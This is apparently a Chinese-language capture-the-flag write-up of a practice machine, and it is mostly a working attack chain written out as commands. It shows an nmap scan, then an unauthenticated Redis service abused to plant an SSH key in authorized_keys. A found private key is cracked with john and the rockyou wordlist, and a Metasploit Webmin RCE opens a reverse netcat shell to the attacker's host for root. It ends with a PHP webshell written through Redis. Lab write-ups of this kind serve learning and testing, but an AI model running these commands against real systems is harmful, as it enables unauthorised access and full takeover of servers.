Nmap scan report for 10.10.10.160 Host is up (0.29s latency). Not shown: 9326 closed ports, 672 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: MiniServ/1.910 |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), Linux 3.18 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.1.1 (92%), Android 4.1.2 (92%), Android 4.2.2 (Linux 3.4) (92%) No exact OS matches for host (test conditions non-ideal).
Web路径枚举
尝试爆破80端口下的Web路径
未发现有效信息
漏洞利用
尝试直接登入redis服务
1
redis-cli -h 10.10.10.160
利用redis未授权写入ssh密钥,再用ssh登入redis账户
1 2 3 4 5 6 7 8 9
rm -rf ~/.ssh/id* ssh-keygen -t rsa (echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > new.txt redis-cli -h 10.10.10.160 flushall cat new.txt | redis-cli -h 10.10.10.160 -x set crackit redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh/ redis-cli -h 10.10.10.160 config set dbfilename "authorized_keys" redis-cli -h 10.10.10.160 save ssh -i /root/.ssh/id_rsa redis@10.10.10.160
无法在/var/www/html/目录下写入WebShell
发现文件/opt/id_rsa.bak
1 2 3 4
ls -l /opt
total 4 -rwxr-xr-x 1 Matt Matt 1743 Aug 26 00:11 id_rsa.bak
可以确定是Matt账户的ssh密钥
拷贝到本地之后再用脚本转为john可以破解的密码形式
1 2 3
/usr/share/john/ssh2john.py id_rsa.bak > ssh john --wordlist=/usr/share/wordlists/rockyou.txt ssh computer2008
use exploit/linux/http/webmin_packageup_rce set payload cmd/unix/reverse_netcat set LHOST 10.10.16.14 set RHOSTS 10.10.10.160 set USERNAME Matt set PASSWORD computer2008 set SSL true run
获取root权限
1 2
id uid=0(root) gid=0(root) groups=0(root)
Redis登入之后,可以考虑写入一句话后门/phpinfo这个思路
1 2 3 4
config set dir /var/www/html/ config set dbfilename shell.php set webshell "<?php phpinfo(); ?>" save